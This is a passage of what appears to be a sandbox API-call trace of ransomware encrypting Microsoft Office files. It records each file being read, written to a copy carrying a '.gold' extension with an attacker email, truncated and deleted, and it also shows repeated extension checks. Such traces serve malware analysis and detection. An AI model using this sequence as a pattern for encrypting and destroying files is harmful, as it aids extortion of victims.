lpNumberOfBytesWritten=0x2c5fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0107.636] SetEndOfFile (hFile=0x394) returned 1 [0107.636] CloseHandle (hObject=0x394) returned 1 [0107.636] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.636] SetEndOfFile (hFile=0x3ac) returned 1 [0107.641] CloseHandle (hObject=0x3ac) returned 1 [0107.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll")) returned 1 [0107.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.816] lstrlenW (lpString=".doc") returned 4 [0107.816] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0107.816] lstrlenW (lpString=".docx") returned 5 [0107.816] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0107.816] lstrlenW (lpString=".pdf") returned 4 [0107.816] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0107.816] lstrlenW (lpString=".xls") returned 4 [0107.816] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0107.816] lstrlenW (lpString=".xlsx") returned 5 [0107.817] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0107.817] lstrlenW (lpString=".ppt") returned 4 [0107.817] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.817] lstrlenW (lpString=".zip") returned 4 [0107.817] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString=".rar") returned 4 [0107.817] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString=".bz2") returned 4 [0107.817] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString=".7z") returned 3 [0107.817] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.817] lstrlenW (lpString=".dbf") returned 4 [0107.817] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.817] lstrlenW (lpString=".1cd") returned 4 [0107.817] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.817] lstrlenW (lpString=".jpg") returned 4 [0107.817] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.817] lstrlenW (lpString=".doc") returned 4 [0107.817] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString=".docx") returned 5 [0107.817] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0107.817] lstrlenW (lpString=".pdf") returned 4 [0107.817] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString=".xls") returned 4 [0107.817] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString=".xlsx") returned 5 [0107.817] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0107.817] lstrlenW (lpString=".ppt") returned 4 [0107.817] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.817] lstrlenW (lpString=".zip") returned 4 [0107.817] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString=".rar") returned 4 [0107.817] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString=".bz2") returned 4 [0107.817] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0107.817] lstrlenW (lpString=".7z") returned 3 [0107.818] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.818] lstrlenW (lpString=".dbf") returned 4 [0107.818] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0107.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.818] lstrlenW (lpString=".1cd") returned 4 [0107.818] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0107.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67 [0107.818] lstrlenW (lpString=".jpg") returned 4 [0107.818] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0107.818] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0107.818] lstrlenW (lpString="VISIO_PRM_COL.HXT") returned 17 [0107.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.818] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=209) returned 1 [0107.818] CloseHandle (hObject=0x194) returned 1 [0107.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 0x20 [0107.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.819] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.819] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.820] GetLastError () returned 0x0 [0107.820] ReadFile (in: hFile=0x194, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xd1, lpOverlapped=0x0) returned 1 [0107.820] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0107.821] ReadFile (in: hFile=0x194, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.821] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0107.821] SetEndOfFile (hFile=0x3a8) returned 1 [0107.821] CloseHandle (hObject=0x3a8) returned 1 [0107.821] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.822] SetEndOfFile (hFile=0x194) returned 1 [0107.823] CloseHandle (hObject=0x194) returned 1 [0107.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_col.hxt")) returned 1 [0107.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.825] lstrlenW (lpString=".doc") returned 4 [0107.825] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0107.825] lstrlenW (lpString=".docx") returned 5 [0107.825] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0107.825] lstrlenW (lpString=".pdf") returned 4 [0107.825] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0107.825] lstrlenW (lpString=".xls") returned 4 [0107.825] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0107.825] lstrlenW (lpString=".xlsx") returned 5 [0107.825] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0107.825] lstrlenW (lpString=".ppt") returned 4 [0107.825] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0107.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.825] lstrlenW (lpString=".zip") returned 4 [0107.825] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0107.825] lstrlenW (lpString=".rar") returned 4 [0107.825] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0107.825] lstrlenW (lpString=".bz2") returned 4 [0107.825] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0107.825] lstrlenW (lpString=".7z") returned 3 [0107.825] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0107.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.826] lstrlenW (lpString=".dbf") returned 4 [0107.826] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0107.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.826] lstrlenW (lpString=".1cd") returned 4 [0107.826] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0107.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.826] lstrlenW (lpString=".jpg") returned 4 [0107.826] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0107.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.826] lstrlenW (lpString=".doc") returned 4 [0107.826] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0107.826] lstrlenW (lpString=".docx") returned 5 [0107.826] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0107.826] lstrlenW (lpString=".pdf") returned 4 [0107.826] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0107.826] lstrlenW (lpString=".xls") returned 4 [0107.826] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0107.826] lstrlenW (lpString=".xlsx") returned 5 [0107.826] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0107.826] lstrlenW (lpString=".ppt") returned 4 [0107.826] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0107.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.826] lstrlenW (lpString=".zip") returned 4 [0107.826] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0107.826] lstrlenW (lpString=".rar") returned 4 [0107.826] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0107.826] lstrlenW (lpString=".bz2") returned 4 [0107.826] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0107.826] lstrlenW (lpString=".7z") returned 3 [0107.826] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0107.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.826] lstrlenW (lpString=".dbf") returned 4 [0107.826] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0107.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.826] lstrlenW (lpString=".1cd") returned 4 [0107.827] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0107.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_COL.HXT") returned 65 [0107.827] lstrlenW (lpString=".jpg") returned 4 [0107.827] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0107.827] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0107.827] lstrlenW (lpString="VISIO_PRM_F_COL.HXK") returned 19 [0107.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.828] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=114) returned 1 [0107.828] CloseHandle (hObject=0x194) returned 1 [0107.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 0x20 [0107.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.829] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.829] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0107.830] GetLastError () returned 0x0 [0107.830] ReadFile (in: hFile=0x194, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x72, lpOverlapped=0x0) returned 1 [0107.831] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0107.831] ReadFile (in: hFile=0x194, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.831] WriteFile (in: hFile=0x3a8, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0107.831] SetEndOfFile (hFile=0x3a8) returned 1 [0107.832] CloseHandle (hObject=0x3a8) returned 1 [0107.832] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.832] SetEndOfFile (hFile=0x194) returned 1 [0107.834] CloseHandle (hObject=0x194) returned 1 [0107.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 1 [0107.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.835] lstrlenW (lpString=".doc") returned 4 [0107.835] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.835] lstrlenW (lpString=".docx") returned 5 [0107.835] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.835] lstrlenW (lpString=".pdf") returned 4 [0107.835] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.835] lstrlenW (lpString=".xls") returned 4 [0107.835] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.835] lstrlenW (lpString=".xlsx") returned 5 [0107.835] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.835] lstrlenW (lpString=".ppt") returned 4 [0107.835] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.835] lstrlenW (lpString=".zip") returned 4 [0107.835] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.835] lstrlenW (lpString=".rar") returned 4 [0107.835] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.835] lstrlenW (lpString=".bz2") returned 4 [0107.835] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.835] lstrlenW (lpString=".7z") returned 3 [0107.835] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.836] lstrlenW (lpString=".dbf") returned 4 [0107.836] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.836] lstrlenW (lpString=".1cd") returned 4 [0107.836] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.836] lstrlenW (lpString=".jpg") returned 4 [0107.836] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.836] lstrlenW (lpString=".doc") returned 4 [0107.836] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.836] lstrlenW (lpString=".docx") returned 5 [0107.836] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.836] lstrlenW (lpString=".pdf") returned 4 [0107.836] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.836] lstrlenW (lpString=".xls") returned 4 [0107.836] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.836] lstrlenW (lpString=".xlsx") returned 5 [0107.836] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.836] lstrlenW (lpString=".ppt") returned 4 [0107.836] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.836] lstrlenW (lpString=".zip") returned 4 [0107.836] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.836] lstrlenW (lpString=".rar") returned 4 [0107.836] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.836] lstrlenW (lpString=".bz2") returned 4 [0107.836] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.836] lstrlenW (lpString=".7z") returned 3 [0107.836] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.836] lstrlenW (lpString=".dbf") returned 4 [0107.836] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.836] lstrlenW (lpString=".1cd") returned 4 [0107.836] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0107.836] lstrlenW (lpString=".jpg") returned 4 [0108.052] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.052] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0108.052] lstrlenW (lpString="VISWEB.VSL") returned 10 [0108.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0108.958] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=68488) returned 1 [0108.958] CloseHandle (hObject=0x3c4) returned 1 [0108.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 0x20 [0108.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0108.958] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.958] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0108.959] GetLastError () returned 0x0 [0108.959] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x10b88, lpOverlapped=0x0) returned 1 [0108.963] WriteFile (in: hFile=0x3b0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x10b90, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x10b90, lpOverlapped=0x0) returned 1 [0108.964] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.964] WriteFile (in: hFile=0x3b0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0108.964] SetEndOfFile (hFile=0x3b0) returned 1 [0108.964] CloseHandle (hObject=0x3b0) returned 1 [0108.964] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.964] SetEndOfFile (hFile=0x3c4) returned 1 [0108.967] CloseHandle (hObject=0x3c4) returned 1 [0108.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.967] DeleteFileW (lpFileName="C:\\Program 